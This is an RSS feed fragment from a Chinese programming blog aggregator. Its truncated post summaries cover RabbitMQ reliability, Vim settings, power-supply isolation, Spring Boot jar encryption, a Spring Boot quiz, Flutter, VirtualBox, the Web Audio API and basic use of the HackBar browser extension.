      <description>文章目录 前言：消息的可靠性问题一、生产者消息的确认1.1 生产者确认机制1.2 实现生产者消息的确认1.3 验证生产者消息的确认 二、消息的持久化2.1 演示消息的丢失2.2 声明持久化的交换机和队列2.3 发送持久化的消息 三、消费者消息的确认3.1 配置消费者消息确认3.2 演示 none 模式3.3 演示 auto 模式 四、消息消费失败的重试机制4.1 本地重试机制4.2 失败消息的处理策略 前言：消息的可靠性问题 在现代分布式应用程序中，消息队列扮演了至关重要的角色，允许系统中的各个组件之间进行异步通信。这种通信模式提供了高度的灵活性和可伸缩性，但也引入了一系列的挑战，其中最重要的之一是消息的可靠性。&#xA;首先让我们来了解一下，在消息队列中，消息从生产者发送到交换机，再到队列，最后到消费者，有哪些情况会导致消息的丢失？&#xA;发送时丢失：&#xA;生产者发送的消息未送达交换机；消息到达交换机后未到达队列； MQ 宕机，队列中的消息会丢失；&#xA;消费者接收到消息后未消费就宕机了。&#xA;确保消息队列的可靠性是分布式系统中不可或缺的一部分，因此我们需要采取措施来应对这些挑战。为了解决上述消息可靠性问题，RabbitMQ提供了一系列的机制和最佳实践，以确保消息在整个传递过程中得到妥善处理和保护。&#xA;本文将深入探讨如何应对这些挑战，介绍消息队列中的关键概念，并详细讨论 RabbitMQ 提供的解决方案，包括生产者消息的确认、消息的持久化、消费者消息的确认以及消息消费失败的重试机制。这些措施将有助于确保消息队列在应用程序中的可靠性和稳定性。&#xA;一、生产者消息的确认 1.1 生产者确认机制 RabbitMQ 提供了 publisher confirm 机制，这是一种用于解决消息发送过程中可能出现的丢失问题的机制。当消息发送到 RabbitMQ 后，系统会返回一个结果给消息的发送者，以指示消息的处理状态。这个结果有两种可能的值：&#xA;publisher-confirm，发送者确认：&#xA;消息成功投递到交换机，系统返回 ack（确认）。消息未能成功投递到交换机，系统返回 nack（未确认）。 publisher-return，发送者回执：&#xA;消息成功投递到交换机，但是没有成功路由到队列，系统返回 ACK，同时提供路由失败的原因。 这个确认机制的目的是确保消息在发送到消息队列后，发送者能够获得有关消息处理状态的明确反馈，从而可以采取适当的措施，例如重发消息或记录失败信息。&#xA;需要注意的是，为了实现这一机制，需要为每条消息设置一个全局唯一的标识符，以便区分不同的消息，避免在确认过程中出现冲突。&#xA;例如下图所示：&#xA;确保消息生产者能够获得有关消息状态的反馈是确保消息可靠性的关键一步，因为它有助于解决消息可能在发送期间丢失的问题。这是构建可靠的消息队列系统中的重要组成部分。&#xA;1.2 实现生产者消息的确认 下面将通过一个 Java 的 Spring Boot 项目来演示如何实现生产者消息的确认。这个项目的结构如下：&#xA;这个项目有两个模块，其中 consumer 负责对消息的消费，而 publisher 负责发送消息。下面是在 publisher 模块中实现消息确认的具体步骤：&#xA;在 publisher 服务中的 application.</description>
    </item>
    <item>
      <title>软件学报排版样例2021版</title>
      <link>https://bchobby.github.io/posts/da2a32edddf51965b735606b84cd9b04/</link>
      <pubDate>Sat, 04 Nov 2023 12:12:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/da2a32edddf51965b735606b84cd9b04/</guid>
      <description>软件学报排版格式样例 软件学报官网下载的文章都是PDF版的，因此就算把它转成word，也会发现格式是乱的，根本不是实际上的格式，所以必须要原版的word才能查看格式，但是原版论文咱们是肯定拿不到的，官网说下载区有，但是不知道为什么我找不到下载区在哪儿！烦死了！！！ 经过苦苦查询终于找到一个能够直接下载的官方排版样例，ps：找得我好苦，记得点赞！！！ 废话不多说，直接把下载链接放这了！ 主打一个热情分享哈哈。&#xA;点击此处进入&#xA;我看了一下，格式都是对得上的，应该没问题的。记得点赞哈！！！辛苦找的~</description>
    </item>
    <item>
      <title>Vim使用(一)——常用技巧及快捷键总结</title>
      <link>https://bchobby.github.io/posts/8042b6624e1323c90d9ca0be0d811ce2/</link>
      <pubDate>Sat, 04 Nov 2023 10:43:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8042b6624e1323c90d9ca0be0d811ce2/</guid>
      <description>文章目录 一、常用配置二、搜索替换常用方法三、复制粘贴和删除常用方法四、多窗口文件处理五、多窗口缓存区六、格式化代码七、修改二进制文件八、大小写转换 一、常用配置 普通用户的vim配置在vim ~/.vimrc中，以下是我的常用配置，其他配置可以参考这两篇博客：vim常用设置、vim 自动配置。&#xA;set mouse-=a syntax on &#34;语法高亮 set nocompatible &#34;去除VI一致性,必须要添加 set nu &#34;显示行号 set autowrite &#34;自动保存 set ruler &#34;打开状态栏标尺 set cursorline &#34;突出显示当前行 set smartindent &#34;开启新行时使用智能自动缩进 set hlsearch &#34;搜索高亮 set incsearch &#34;渐进式搜索 set nobackup &#34;不需要备份文件 set noswapfile &#34;不创建临时交换文件 set nowritebackup &#34;编辑的时候不需要备份文件 set noundofile &#34;不创建撤销文件 &#34; Tab键更改为2个空格 &#34;set ts=2 &#34;set sw=2 &#34;set expandtab &#34;set autoindent &#34; 配置tags查找路径 set tags=./tags,tags;$HOME &#34;自动补全 :inoremap ( ()&amp;lt;ESC&amp;gt;i :inoremap ) &amp;lt;c-r&amp;gt;=ClosePair(&#39;)&#39;)&amp;lt;CR&amp;gt; :inoremap { {}&amp;lt;ESC&amp;gt;i :inoremap } &amp;lt;c-r&amp;gt;=ClosePair(&#39;}&#39;)&amp;lt;CR&amp;gt; :inoremap { {&amp;lt;CR&amp;gt;}&amp;lt;ESC&amp;gt;O :inoremap } &amp;lt;c-r&amp;gt;=ClosePair(&#39;}&#39;)&amp;lt;CR&amp;gt; :inoremap [ []&amp;lt;ESC&amp;gt;i :inoremap ] &amp;lt;c-r&amp;gt;=ClosePair(&#39;]&#39;)&amp;lt;CR&amp;gt; :inoremap &#34;</description>
    </item>
    <item>
      <title>隔离和非隔离电源的区别</title>
      <link>https://bchobby.github.io/posts/ecf8784a95e6c70ac33b6568644193ff/</link>
      <pubDate>Sat, 04 Nov 2023 09:27:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ecf8784a95e6c70ac33b6568644193ff/</guid>
      <description>一、电源隔离与非隔离 电源的隔离与非隔离，主要是针对开关电源而言，业内比较通用的看法是：&#xA;1、隔离电源：电源的输入回路和输出回路之间没有直接的电气连接，输入和输出之间是绝缘的高阻态，没有电流回路。&#xA;2、非隔离电源：输入和输出之间有直接的电流回路，例如，输入和输出之间是共地的。 1.1 安全性 隔离电源的输入和输出之间有一层绝缘材料，通常是隔离变压器。&#xA;隔离电源是使用变压器将220V电压通过变压器将电压降到较低的电压，然后再整流成直流电输出供电使用。因为变压器的主线圈承受220V电压，次级线圈只承受输出的低交流电压，并且主次线圈之间并不直接连接，所以称为隔离电源。变压器的转换过程是：电-磁-电，没有和大地连接，所以不会发生触电危险。&#xA;非隔离电源没有电气隔离，而是将输入电路电源直接连接到输出电路电源。&#xA;非隔离电源是用220V直接输入到电子电路，在通过电子元件降压输出，输入输出是通过电子元件直接连接的，所以称非隔离电源;两者从表面上看就是有无变压器的区别。LED非隔离设计仅限于双绝缘产品，例如灯泡的替代产品，其中LED和整个产品都集成并密封在非导电塑料中，因此，最终用户并没有任何触电的危险。二级产品都是隔离型的，价格相对比较昂贵。非隔离电路是输入电源通过升降压之后直接加在了LED负载上，有触电危险存在。&#xA;所以要通过安规认证，比如3C、UL、CE等，非隔离就麻烦，一般生产厂家没有绝对的设计技术实力，一般不好通过。因为绝缘及爬电距离不够，只能从灯具物理结构设计了。灯管是可以接受的，也有全塑的，比如，通常LED和铝散热器之间的绝缘也就靠铝基板的印制板的薄膜绝缘。虽然这个绝缘层可以耐 2000V高压，但有时螺丝孔的毛刺会产生所谓的爬电现象，使得难以通过CE认证。&#xA;但作为完整的LED照明灯具产品，产品表面使用者能接触到的部分一定要经过隔离，不能让人触电。而从产品整个系统而言，隔离是不可避免的，区别只是设置隔离的位置不同。作为一个让最终用户能安全使用的产品，一定会考虑绝缘与隔离的可靠性。&#xA;注意：需要提醒的是，有些厂家为了节省成本，采用在主线圈上直接抽头提取低电压的办法，这种办法看似有变压器，实际没有次级线圈，不能算是隔离电源！&#xA;1.2 电性能 从性能上说，隔离电源的优点是：不会对人体造成威胁，宽电压表现很好，电压范围略比隔离的差些，非隔离的电压范围在110V-300V之间；而隔离电源能做到60-300V。高低电流很均匀。隔离型驱动安全但效率较低，非隔离型驱动效率较高，应按实际使用的要求来选隔离型还是非隔离型驱动。&#xA;从恒流精度上：隔离型可以做到±5%以内，而非隔离型则很难做到。&#xA;非隔离电路对于浪涌十分敏感，抑制能力差。雷击浪涌，这种电压是瞬间高压，高达几千伏，时间很短，能量极强，这个电压进入电源，对于非隔离BUCK 电路，会瞬间传达到输出，击坏恒流检测环，或是进一步击坏芯片，造成300V直通，而烧掉整条灯管。事实上就是指非隔离电源，在批量出货时，返修率高于隔离LED驱动电源，大都是因为炸坏。而隔离电源炸坏的机率要小不少，非隔离的一般在2%至3%左右。&#xA;很多电网电压不稳，隔离也会，现象也是芯片、MOS管、恒流环路全烧坏，但隔离相对少得多。&#xA;注意：所以非隔离防浪涌的压敏电阻必不可少，没有压敏能质保的都是浮云。&#xA;1.3. 成本与效率 电子产品的成本不光是设计生产成本，批量大的产品也包括维修成本。就LED电源电路结构而言，目前的隔离型方案多是AC/DC的反激式 (Flyback)电路方案，因此相对电路较复杂、成本较高。非隔离型基本是采用DC/DC的升压(Boost)或降压(Buck)电路，则相对电路较简单，因而成本也相对较低。&#xA;非隔离由于少了变压的能损耗，效率一般能达到90%以上，而且有更高的功率因素。而隔离一般能效在88%，视功率而定，所以隔离电源发热也比较大。&#xA;非隔离电源在效率和成本上比隔离电源较有优势。隔离电源效率不易做高,处理不好的话热量很大,成本也高,尤其是做那种内置灯管的LED日光灯。但非隔离电源,因为对雷击浪涌电压抑制能力较差,大批量出货时,就会遇到很多损坏。&#xA;相比隔离电源，非隔离电源主要是减少了变压器，以最少的用料来设计架构，做到相同的产品功能，所以非隔离成本有较大的优势。这估计就是非隔离电源在中国很吃香的原因了。&#xA;注意：在低压供电的LED灯具中，以效率和成本优先的原则，其实非隔离型方案是最佳的选择。&#xA;二、隔离电源与非隔离电源的优缺点 由上述概念可知，对于常用的电源拓扑而言，非隔离电源主要有：Buck、Boost、Buck-Boost等；而隔离电源主要有各种带隔离变压器的反激、正激、半桥、LLC等拓扑。&#xA;结合常用的隔离与非隔离电源，我们从直观上就可得出它们的一些优缺点，两者的优缺点几乎是相反的。&#xA;使用隔离或非隔离的电源，需了解实际项目对电源的需求是怎样的，但在此之前，可了解下隔离和非隔离电源的主要差别：&#xA;1、隔离模块的可靠性高，但成本高，效率差点。&#xA;2、非隔离模块的结构很简单，成本低，效率高，安全性能差。&#xA;因此，在如下几个场合，建议用隔离电源：&#xA;1、涉及可能触电的场合，如从电网取电，转成低压直流的场合，需用隔离的AC-DC电源;&#xA;2、串行通信总线通过RS-232、RS-485和控制器局域网(CAN)等物理网络传送数据，这些相互连接的系统每个都配备有自己的电源，而且各系统之间往往间隔较远，因此，我们通常需要隔离电源进行电气隔离来确保系统的物理安全，且通过隔离切断接地回路，来保护系统免受瞬态高电压冲击，同时减少信号失真;&#xA;3、对外的I/O端口，为保证系统的可靠运行，也建议对I/O端口做电源隔离。&#xA;三、隔离与非隔离电源的应用场合 通过了解隔离与非隔离电源的优缺点可知，它们各有优势，对于一些常用的嵌入式供电选择，我们已可做成准确的判断：&#xA;1、系统前级的电源，为提高抗干扰性能，保证可靠性，一般用隔离电源。&#xA;2、电路板内的IC或部分电路供电，从性价比和体积出发，优先选用非隔离的方案。&#xA;3、对安全有要求的场合，如需接市电的AC-DC，或医疗用的电源，为保证人身的安全，必须用隔离电源，有些场合还必须用加强隔离的电源。&#xA;4、 对于远程工业通信的供电，为有效降低地电势差和导线耦合干扰的影响，一般用隔离电源为每个通信节点单独供电。&#xA;5、 对于采用电池供电，对续航力要求严苛的场合，采用非隔离供电。&#xA;从LED电源的角度进行分析：&#xA;用隔离的绝缘变压器还是用隔离的防护灯罩外壳，通常需要从多方面去分析，例如成本与製造工艺、效率和体积、绝缘可靠性和安全规范的要求等。这两种类型的设计都将会继续使用，因为每个设计分别满足了不同的市场需求。&#xA;从负载范围说，一般来讲隔离电源的输出带载范围为30-42V，非隔离带载范围可以为30-84V。众多LED厂家在选择电源的时候为了整体的适应性都要求电源能够适应全电压90-265V输入，带载范围也要求高达84V，这样的选择是存在一定风险和隐患的。90V输入的时候电源可能丧失恒流功能，THD这些。非隔离适合做高压小电流，做大电流成本并不比隔离的便宜。&#xA;非隔离电源适合的场合：首先是室内的灯具，这种室内用电环境较好，浪涌影响小，草帽和贴片LED，使用的场合是高压小电流。低压大电流用非隔离没有意义，因为低压大电流非隔离的效率并不比隔离的高，成本也低不到多少去，不太适合集中式照明，何谓集中照明，即在同一条AC线上点上几百只灯具，这时因为一条线上灯具太多，此条线上电压环境较脏，所以击坏灯具的机率变大，故非隔离电源做的LED灯具。&#xA;从产品整个系统而言，隔离是不可避免的，区别只是设置隔离的位置不同。有些设计者採用隔离的变压器设计，因此他们可以简化散热和灯罩的设计（散热的设计怎么简化啊？隔离的效率低热量就大啊，只是简化灯具隔离设计吧？）。如果用非隔离的驱动设计，在灯壳等结构上就必须考虑可靠的绝缘要求。&#xA;注意：作为电源驱动，隔离与非隔离的方案一直都同时存在。&#xA;缘于上述几点，这两种架构的电源各有优势，非隔离电源侧重于较高的功率因数及效率，减少了能源的损耗；而隔离电源重视生命的安全和日光灯整体的使用安全性，在功率因数及效率方面略逊于非隔离电源，不同场合和不同使用环境，不同的电源类型没有硬性规定。&#xA;四、隔离电源与非隔离电源该如何选择 非隔离电源一是效率，二是成本上比较有优势。这和隔离电源比起来都是优势，隔离电源效率不易做高，处理不好热量很大，成本也高，尤其是做那种内置灯管的LED日光灯，真可谓成本上天。&#xA;但非隔离电源，因为对雷击浪涌电压抑制能力较差，大批量出货时，就会遇到较多损坏的因素。不过浪涌问题始终都存在，很多隔离电源，如路灯电源，用于室外的，点不久，也是坏的很多，隔离电源很多时候也是被浪涌打的够呛，分享一些经验和规律，供大家参考。&#xA;大功率LED驱动，一般要使用隔离电源，切不可为了省一点成本，而使用非隔离，不然得不偿失。小功率LED驱动，是使用隔离还是非隔离，要视具体情况而定。能使用隔离电源当然好，但至少要有两个条件，一是成本上允许，二是发热程度上允许，因为隔离电源这两个问题都是考验，而非隔离电源很多时候也是可以用。并且很多时候还是很好用的。非隔离电源适合的场合：首先，是室内的灯具，这种室内用电环境较好，浪涌影响小。第二，使用的场合是高压小电流，低压大电流用非隔离没有意义，因为低压大电流非隔离的效率并不比隔离的高，成本也低不到多少去。三，电压相对较稳定的环境中使用非隔离电源。当然，如果有办法解决掉抑制浪涌的问题，那么非隔离电源的应用范围将大大拓宽!隔离电源因为浪涌的问题，损坏率也不可小觑，一般那种返修回来，击坏保险，芯片，MOS的第一个应该想到是浪涌问题。为了减少损坏率，在设计时就行要考虑到浪涌的因素进去，或是在使用时要告戒用户，尽量避免浪涌发生。 引用地址： 开关电源选择技巧 隔离电源和非隔离电源的区别https://baijiahao.baidu.com/s?id=1752001348122752255&amp;amp;wfr=spider&amp;amp;for=pc带你真正认清隔离与非隔离电源的区别https://baijiahao.baidu.com/s?id=1718653961818353288&amp;amp;wfr=spider&amp;amp;for=pc</description>
    </item>
    <item>
      <title>对SpringBoot项目Jar包进行加密防止反编译</title>
      <link>https://bchobby.github.io/posts/65b23186e56ea0be8b97d3c8b242bc78/</link>
      <pubDate>Sat, 04 Nov 2023 08:30:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/65b23186e56ea0be8b97d3c8b242bc78/</guid>
      <description>最近项目要求部署到其他公司的服务器上,但是又不想将源码泄露出去,要求对正式环境的启动包进行安全性处理,防止客户直接通过反编译工具将代码反编译出来,本文介绍了如何对SpringBoot项目Jar包进行加密防止反编译,需要的朋友可以参考下&#xA;场景 最近项目要求部署到其他公司的服务器上，但是又不想将源码泄露出去。要求对正式环境的启动包进行安全性处理，防止客户直接通过反编译工具将代码反编译出来。&#xA;方案 第一种方案使用代码混淆&#xA;采用proguard-maven-plugin插件&#xA;在单模块中此方案还算简单，但是现在项目一般都是多模块，一个模块依赖多个公共模块。那么使用此方案就比较麻烦，配置复杂，文档难懂，各模块之间的调用在是否混淆时极其容易出错。&#xA;第二种方案使用代码加密&#xA;采用classfinal-maven-plugin插件&#xA;此方案比对上面的方案来说，就简单了许多。直接配置一个插件就可以实现源码的安全性保护。并且可以对yml、properties配置文件以及lib目录下的maven依赖进行加密处理。若想指定机器启动，支持绑定机器，项目加密后只能在特定机器运行。&#xA;ClassFinal项目源码地址&#xA;项目操作 只需要在启动类的pom.xml文件中加如下插件即可，需要注意的是，改插件时要放到spring-boot-maven-plugin插件后面，否则不起作用。&#xA;&amp;lt;build&amp;gt; &amp;lt;plugins&amp;gt; &amp;lt;plugin&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-maven-plugin&amp;lt;/artifactId&amp;gt; &amp;lt;/plugin&amp;gt; &amp;lt;plugin&amp;gt; &amp;lt;!-- 1. 加密后,方法体被清空,保留方法参数、注解等信息.主要兼容swagger文档注解扫描 2. 方法体被清空后,反编译只能看到方法名和注解,看不到方法体的具体内容 3. 加密后的项目需要设置javaagent来启动,启动过程中解密class,完全内存解密,不留下任何解密后的文件 4. 启动加密后的jar,生成xxx-encrypted.jar,这个就是加密后的jar文件,加密后不可直接执行 5. 无密码启动方式,java -javaagent:xxx-encrypted.jar -jar xxx-encrypted.jar 6. 有密码启动方式,java -javaagent:xxx-encrypted.jar=&#39;-pwd= 密码&#39; -jar xxx-encrypted.jar --&amp;gt; &amp;lt;groupId&amp;gt;net.roseboy&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;classfinal-maven-plugin&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.2.1&amp;lt;/version&amp;gt; &amp;lt;configuration&amp;gt; &amp;lt;password&amp;gt;#&amp;lt;/password&amp;gt;&amp;lt;!-- #表示启动时不需要密码,事实上对于代码混淆来说,这个密码没什么用,它只是一个启动密码 --&amp;gt; &amp;lt;excludes&amp;gt;org.spring&amp;lt;/excludes&amp;gt; &amp;lt;packages&amp;gt;${groupId}&amp;lt;/packages&amp;gt;&amp;lt;!-- 加密的包名,多个包用逗号分开 --&amp;gt; &amp;lt;cfgfiles&amp;gt;application.yml,application-dev.yml&amp;lt;/cfgfiles&amp;gt;&amp;lt;!-- 加密的配置文件,多个包用逗号分开 --&amp;gt; &amp;lt;libjars&amp;gt;hutool-all.jar&amp;lt;/libjars&amp;gt; &amp;lt;!-- jar包lib下面要加密的jar依赖文件,多个包用逗号分开 --&amp;gt; &amp;lt;code&amp;gt;xxxx&amp;lt;/code&amp;gt; &amp;lt;!-- 指定机器启动,机器码 --&amp;gt; &amp;lt;/configuration&amp;gt; &amp;lt;executions&amp;gt; &amp;lt;execution&amp;gt; &amp;lt;phase&amp;gt;package&amp;lt;/phase&amp;gt; &amp;lt;goals&amp;gt; &amp;lt;goal&amp;gt;classFinal&amp;lt;/goal&amp;gt; &amp;lt;/goals&amp;gt; &amp;lt;/execution&amp;gt; &amp;lt;/executions&amp;gt; &amp;lt;/plugin&amp;gt; &amp;lt;/plugins&amp;gt; &amp;lt;/build&amp;gt; 启动方式 无密码启动</description>
    </item>
    <item>
      <title>Spring Boot基础 习题题库【附答案】5</title>
      <link>https://bchobby.github.io/posts/8d7f113ae49e85e634fc3b5dae23c433/</link>
      <pubDate>Sat, 04 Nov 2023 00:16:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8d7f113ae49e85e634fc3b5dae23c433/</guid>
      <description>温馨提示：全文近2w+字，重复有，请善用【Ctrl+F】进行页内查找 一. 单选题（共25题，100分） 1. (单选题)在Spring Data JPA,如果将@Transactional注解应用在一个类上,它将应用于哪些方法?&#xA;A. 只能应用于该类的静态方法&#xA;B. 仅应用于该类的public方法&#xA;C. 不会应用于任何方法&#xA;D. 应用于该类的所有方法&#xA;我的答案: B:仅应用于该类的public方法;&#xA;4分&#xA;2. (单选题)在Spring Data JPA中,如果要查询User实体中name属性以字母顺序升序排列的前10个用户,方法名应该如何命名?&#xA;A. getFirst10UsersOrderedByNameAscending()&#xA;B. findTop10ByOrderByNameAsc()&#xA;C. retrieveFirst10UsersOrderedByNameAsc()&#xA;D. queryUsersByNameInAlphabeticalOrder(int limit)&#xA;我的答案: B:findTop10ByOrderByNameAsc();&#xA;4分&#xA;3. (单选题)在Spring Data JPA中,@Modifying注解的主要作用是什么?&#xA;A. 用于指定自定义查询方法的返回类型。&#xA;B. 用于指定实体类的名称。&#xA;C. 用于标识执行修改操作的查询方法。&#xA;D. 用于定义自定义JPQL或SQL查询语句。&#xA;我的答案: C:用于标识执行修改操作的查询方法。;&#xA;4分&#xA;4. (单选题)在Spring Data JPA中, @Modifying注解通常与哪个注解一起使用来定义自定义修改查询方法?&#xA;A. @Transactional&#xA;B. @ModifyingQuery&#xA;C. @Query&#xA;D. @Entity&#xA;我的答案: C:@Query;&#xA;4分&#xA;5. (单选题)如果要根据实体对象的属性name模糊查询数据,方法名应该如何命名?&#xA;A. queryByEntityNameContains()</description>
    </item>
    <item>
      <title>移动跨平台框架Flutter详细介绍和学习线路分享</title>
      <link>https://bchobby.github.io/posts/091754c7c8d111c86ed2697037350b53/</link>
      <pubDate>Fri, 03 Nov 2023 22:19:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/091754c7c8d111c86ed2697037350b53/</guid>
      <description>Flutter简介 Flutter是一款移动应用程序SDK，一份代码可以同时生成iOS和Android两个高性能、高保真的应用程序。 Flutter目标是使开发人员能够交付在不同平台上都感觉自然流畅的高性能应用程序。我们兼容滚动行为、排版、图标等方面的差异。 在全世界，Flutter正在被越来越多的开发者和组织使用，并且Flutter是完全免费、开源的。&#xA;Flutter原理 相比React Native和Weex，Flutter实现跨平台采用了更为彻底的方案（参考移动跨平台技术方案总结）。它既没有采用WebView也没有采用JavaScript，而是自己实现了一台UI框架，然后直接系统更底层渲染系统上画UI。所以它采用的开发语言不是JS，而Dart（Dart是面向对象的、类定义的、单继承的语言。它的语法类似C语言，可以转译为JavaScript，支持接口(interfaces)、混入(mixins)、抽象类(abstract classes)、具体化泛型(reified generics)、可选类型(optional typing)和sound type syste）。 据称Dart语言可以编译成原生代码，直接跟原生通信，其原理模型图如下：&#xA;同时，Flutter将UI组件和渲染器从平台移动到应用程序中，这使得它们可以自定义和可扩展。Flutter唯一要求系统提供的是canvas，以便定制的UI组件可以出现在设备的屏幕上，以及访问事件（触摸，定时器等）和服务（位置、相机等）。这是Flutter可以做到跨平台而且高效的关键。另外Flutter学习了RN的UI编程方式，引入了状态机，更新UI时只更新最小改变区域。&#xA;系统的UI框架可以取代，但是系统提供的一些服务是无法取代的。Flutter在跟系统service通信方式，采用的是一种类似插件式的方式，或者有点像远程过程调用RPC方式，这种方式据说也要比RN的桥接方式高效。关于RN和Flutter到底谁更优秀，有兴趣的读者可以关注下官方的撕逼大战React Native 团队怎么看待 Flutter 的。&#xA;Flutter 和 React Native 底层框架对比 React-Native、Weex 核心是通过 Javascript 开发，执行时需要 Javascript 解释器，UI 是通过原生控件渲染。Flutter 与用于构建移动应用程序的其它大多数框架不同，因为 Flutter 既不使用 WebView，也不使用操作系统的原生控件。 相反，Flutter 使用自己的高性能渲染引擎来绘 制 widget。Flutter 使用 C、C ++、Dart 和 Skia（2D渲染引擎）构建。&#xA;Skia 是一个 2D的绘图引擎库，其前身是一个向量绘图软件，Chrome 和 Android 均采用 Skia 作为绘图引擎。Android 自带了 Skia，所以 Flutter Android SDK要比 iOS SDK小很多。&#xA;在 ReactNative 中，引入了虚拟 DOM 来减少DOM的回流和重绘，系统将虚拟 DOM 与真正的 DOM 进行比较，生成一组最小的更改，然后执行这些更改，以更新真正的 DOM。最后，平台重新绘制真实的 DOM 到画布中。</description>
    </item>
    <item>
      <title>使用virtual box运行自制img文件</title>
      <link>https://bchobby.github.io/posts/642d82a04ac4ec4c22e7c94aae9f83a2/</link>
      <pubDate>Fri, 03 Nov 2023 22:04:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/642d82a04ac4ec4c22e7c94aae9f83a2/</guid>
      <description>1.点击新建一台虚拟机，输入虚拟机名称，根据需求设置内存大小、硬盘空间和CPU数量&#xA;2.选择新建的虚拟机点击设置&#xA;3.设置-&amp;gt;存储-&amp;gt;添加软盘&#xA;4.虚拟软盘选择，并点击注册把要运行的img文件添加进去&#xA;5.点击启动运行成功</description>
    </item>
    <item>
      <title>H5: 使用Web Audio API播放音乐</title>
      <link>https://bchobby.github.io/posts/202601ed809085371db9ced00c31e8a0/</link>
      <pubDate>Fri, 03 Nov 2023 21:35:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/202601ed809085371db9ced00c31e8a0/</guid>
      <description>简介 记录关于自己使用 Web Audio API 的 AudioContext 播放音乐的知识点。&#xA;需求分析 1.列表展示音乐；&#xA;2.上/下一首、播放/暂停/续播；&#xA;3.播放模式切换：循环播放、单曲循环、随机播放；&#xA;4.播放状态显示：当前播放的音乐名、播放时间、总时间、进度条效果；&#xA;5.播放控制器显示在底部区域；&#xA;6.支持音量调节；&#xA;7.浏览器隐藏、显示的交互后，也能正常有效播放（播放、声音）。&#xA;注意 安卓与IOS上有不同的兼容性，所以采用了 Web Audio API 的 AudioContext ，兼容性强大（但是截止写文章前，IOS17+版本不支持，没有声音）。&#xA;稍微复杂点点的逻辑就是AudioContext与手机系统的关联，可以看看 AudioContext: createMediaElementSource。&#xA;具体实现 test/music/musicPlayer/musics.ts&#xA;test/music/musicPlayer/useMusicPlayer.ts&#xA;test/music/index.vue&#xA;1.test/music/musicPlayer/musics.ts interface musicItem { title: string src: string time: string mp3Name: string } const musicList: musicItem[] = [ { title: &#39;How to Love&#39;, src: &#39;&#39;, time: &#39;03:39&#39;, mp3Name: &#39;sx_music_HowtoLove_CashCash&#39; }, { title: &#39;空空如也&#39;, src: &#39;&#39;, time: &#39;03:34&#39;, mp3Name: &#39;sx_music_kongkongruye&#39; }, { title: &#39;2 Soon&#39;, src: &#39;&#39;, time: &#39;03:19&#39;, mp3Name: &#39;sx_music_Soon_JonYoung&#39; }, { title: &#39;孤勇者&#39;, src: &#39;&#39;, time: &#39;04:16&#39;, mp3Name: &#39;sx_music_guyongzhe&#39; }, { title: &#39;秒针&#39;, src: &#39;&#39;, time: &#39;02:58&#39;, mp3Name: &#39;sx_music_miaozhen&#39; }, { title: &#39;热爱105˚的你&#39;, src: &#39;&#39;, time: &#39;03:15&#39;, mp3Name: &#39;sx_music_reai105dudeni&#39; }, { title: &#39;她会魔法吧&#39;, src: &#39;&#39;, time: &#39;03:01&#39;, mp3Name: &#39;sx_music_tahuimofaba&#39; }, { title: &#39;她会魔法吧&#39;, src: &#39;&#39;, time: &#39;03:01&#39;, mp3Name: &#39;sx_music_tahuimofaba&#39; }, { title: &#39;她会魔法吧&#39;, src: &#39;&#39;, time: &#39;03:01&#39;, mp3Name: &#39;sx_music_tahuimofaba&#39; }, { title: &#39;她会魔法吧&#39;, src: &#39;&#39;, time: &#39;03:01&#39;, mp3Name: &#39;sx_music_tahuimofaba&#39; }, { title: &#39;她会魔法吧&#39;, src: &#39;&#39;, time: &#39;03:01&#39;, mp3Name: &#39;sx_music_tahuimofaba&#39; }, { title: &#39;她会魔法吧&#39;, src: &#39;&#39;, time: &#39;03:01&#39;, mp3Name: &#39;sx_music_tahuimofaba&#39; }, { title: &#39;她会魔法吧&#39;, src: &#39;&#39;, time: &#39;03:01&#39;, mp3Name: &#39;sx_music_tahuimofaba&#39; }, { title: &#39;她会魔法吧&#39;, src: &#39;&#39;, time: &#39;03:01&#39;, mp3Name: &#39;sx_music_tahuimofaba&#39; }, { title: &#39;她会魔法吧&#39;, src: &#39;&#39;, time: &#39;03:01&#39;, mp3Name: &#39;sx_music_tahuimofaba&#39; }, { title: &#39;她会魔法吧&#39;, src: &#39;&#39;, time: &#39;03:01&#39;, mp3Name: &#39;sx_music_tahuimofaba&#39; }, { title: &#39;她会魔法吧&#39;, src: &#39;&#39;, time: &#39;03:01&#39;, mp3Name: &#39;sx_music_tahuimofaba&#39; } ] // 音乐列表信息 export { type musicItem, musicList } 2.</description>
    </item>
    <item>
      <title>hackbar基于插件的网络渗透测试工具</title>
      <link>https://bchobby.github.io/posts/db2b38d65c8ba77bc167499feb5fa435/</link>
      <pubDate>Fri, 03 Nov 2023 21:29:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/db2b38d65c8ba77bc167499feb5fa435/</guid>
      <description>一、安装 安装：通过Firefox在插件扩展里面找到hackbar v2进行安装(注意hackerbar是收费的；v2不是)&#xA;安装成功示例：&#xA;二、基本使用 1.Load URL 解释：将当前网页的url自动填充到多行文本框里面&#xA;2.Split URL 解释：自动的分割URL，快速找出需要改的地方&#xA;3.Excute 解释：自动执行操作&#xA;三、请求发送操作 1.GET 解释：直接发送即可，需要参数在文本框手动输入即可(例子：http://127.0.0.1/?chat=1)&#xA;2.POST 解释：在hackbar里面勾选post data然后输入参数（格式：a=1），此种方式发送的是表单格式的，post格式发送暂时还没有找到，找到的可以在评论区留言&#xA;示例：&#xA;注意：post多个参数时，写法：id=flag&amp;amp;flag=0，当需要发送格式不为x=1的情况下，建议用burpsuit去拦截hackbar发送的包，然后修改post数据&#xA;四、插件 图示：&#xA;1.Encryption 解释：选中目标后点Encryption即可选择对选中内容的加密方式，目前有MD5、SHA-1、SHA-256、ROT13&#xA;2.Encoding 解释：选中目标后点Encoding即可选择对选中内容的编码方式，目前有Base64、URL编码、Hex编码</description>
    </item>
    <item>
